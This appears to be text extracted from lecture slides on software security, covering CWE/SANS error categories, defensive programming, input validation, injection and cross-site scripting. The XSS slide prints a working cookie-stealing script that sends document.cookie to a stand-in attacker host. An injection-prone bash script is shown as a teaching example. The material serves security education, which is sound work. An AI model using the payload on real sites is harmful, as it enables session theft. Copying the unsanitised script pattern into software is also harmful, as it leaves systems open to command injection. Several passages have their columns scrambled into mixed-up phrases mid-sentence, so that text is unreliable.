Soft Security Lecture
Soft Security Lecture
Software Security
PREPARED BY
YONGHO S. LOUIS
Review
• Chapter 1: Basic Concepts and Terminology
• Chapter 2: Basic Cryptographic Tools
• Chapter 3 – User Authentication
• Chapter 4 – Access Control Lists
• Chapter 5 – Database Security (skipped)
• Chapter 6 – Malicious Software
• Networking Basics (not in book)
• Chapter 7 – Denial of Service
• Chapter 8 – Intrusion Detection
• Chapter 9 – Firewalls and Intrusion Prevention
• Chapter 10 – Buffer Overflow
• Chapter 11 – Software Security
Chapter 11
Software Security
Software Security Issues
• many vulnerabilities
result from poor
programming practices
software error categories:
• consequence from
insufficient checking • insecure interaction between
components
and validation of data
• risky resource management
and error codes • porous defenses
– awareness of these
issues is a critical initial
step in writing more
secure program code
Software Error Category: Insecure Interaction Between Components
Failure to Preserve Web Page Structure ('Cross-site Scripting')
Failure to Preserve SQL Query Structure (aka 'SQL Injection')
Cross-Site Request Forgery (CSRF)
Unrestricted Upload of File with Dangerous Type
Failure to Preserve OS Command Structure (aka 'OS Command Injection')
Information Exposure Through an Error Message
URL Redirection to Untrusted Site ('Open Redirect')
CWE/SANS Race Condition
Software Error Category: Risky Resource Management
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
Top 25 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Improper Control of Filename for Include/Require Statement in PHP Program
('PHP File Inclusion')
Most Buffer Access with Incorrect Length Value
Improper Check for Unusual or Exceptional Conditions
Improper Validation of Array Index
Dangerous Integer Overflow or Wraparound
Incorrect Calculation of Buffer Size
Download of Code Without Integrity Check
Software Allocation of Resources Without Limits or Throttling
Software Error Category: Porous Defenses
Improper Access Control (Authorization)
Errors Reliance on Untrusted Inputs in a Security Decision
Missing Encryption of Sensitive Data
Use of Hard-coded Credentials
Missing Authentication for Critical Function
Incorrect Permission Assignment for Critical Resource
Use of a Broken or Risky Cryptographic Algorithm
Software Security,
Quality and Reliability
• software quality and • software security:
reliability:
– concerned with the – attacker chooses
accidental failure of probability distribution,
program as a result of specifically targeting bugs
some theoretically that result in a failure that
random, unanticipated
input, system interaction, can be exploited by the
or use of incorrect code attacker
– improve using structured – triggered by inputs that
design and testing to
identify and eliminate as differ dramatically from
many bugs as possible what is usually expected
from a program
– unlikely to be identified by
– concern is not how many common testing
bugs, but how often they
are triggered approaches
Defensive Programming
• a form of defensive design to ensure continued
function of software despite unforeseen usage
• requires attention to all aspects of program
execution, environment, and type of data it
processes
• also called secure programming
• assume nothing, check all potential errors
• programmer never assumes a particular function
call or library will work as advertised so handles
it in the code
Computer System
Program
executing algorithm, Network Link
processing input data,
generating output
Operating System
Database
Machine Hardware
explicitly validate
must identify all assumptions on
data sources size and type of
values before use
Input Size & Buffer Overflow
• programmers often make assumptions
about the maximum expected size of input
– allocated buffer size is not confirmed
– resulting in buffer overflow
• testing may not identify vulnerability
– test inputs are unlikely to include large
enough inputs to trigger the overflow
• safe coding treats all input as dangerous
Interpretation of Program Input
• program input may be binary or text
– binary interpretation depends on encoding
and is usually application specific
• there is an increasing variety of character
sets being used
– care is needed to identify just which set is
being used and what characters are being
read
• failure to validate may result in an
exploitable vulnerability
Injection Attacks
• flaws relating to invalid handling of input
data, specifically when program input data
can accidentally or deliberately influence
the flow of execution of the program
Finger User
Login Name TTY Idle Login Time Where
lpb Lawrie Brown p0 Sat 15:24 ppp41.grapevine
Finger User
attack success
-rwxr-xr-x 1 lpb staff 537 Oct 21 16:19 finger.cgi
-rw-r--r-- 1 lpb staff 251 Oct 21 16:14 finger.html
(c) Expected and subverted finger CGI responses
Safety Extension to Perl Finger CGI
Script
commonly seen in
scripted Web XSS reflection
applications exploit vulnerability
• vulnerability involves assumption that
attacks where the inclusion of script • attacker includes the
all content from malicious script
input provided by code in the HTML
content one site is equally content in data
one user is supplied to a site
subsequently • script code may need trusted and hence
to access data is permitted to
output to another associated with other
interact with other
user pages
• browsers impose content from the
security checks and site
restrict data access to
pages originating from
the same site
• user’s cookie is
XSS supplied to the
attacker who
Example could then use it
to impersonate
Thanks for this information, its great! the user on the
<script>document.location='http://hacker.web.site/cookie.cgi?'+
document.cookie</script> original site
(a) Plain XSS example • to prevent this
Thanks for this information, its great!
<script>
attack any user
document
.locatio
supplied input
n='http:
//hacker should be
.web.sit
e/cookie examined and
.cgi?'+d
ocument. any dangerous
cookie</
script> code removed or
(b) Encoded XSS example escaped to block
Figure 11.5 XSS Example
its execution
Validating Input Syntax
it is necessary
to ensure that by only
alternative is
data conform input data accepting
to compare the
with any should be known safe
input data with
assumptions compared data the
known
made about against what is program is
dangerous
the data before wanted more likely to
values
subsequent remain secure
use
Alternate Encodings
growing requirement to
support users around the
may have multiple means
globe and to interact with
of encoding text
them using their own
languages
security issues:
#!/bin/bash
user=`echo $1 | sed 's/@.*$//'`
grep $user /var/local/accounts/ipaddrs
#!/bin/bash
PATH=”/sbin:/bin:/usr/sbin:/usr/bin”
export PATH
user=`echo $1 | sed 's/@.*$//'`
grep $user /var/local/accounts/ipaddrs
least privilege
• run programs with least privilege needed to complete their
function
char *filename;
int fd;
do {
filename = tempnam (NULL, "foo");
fd = open (filename, O_CREAT | O_EXCL | O_TRUNC | O_RDWR, 0600);
free (filename);
} while (fd == −1);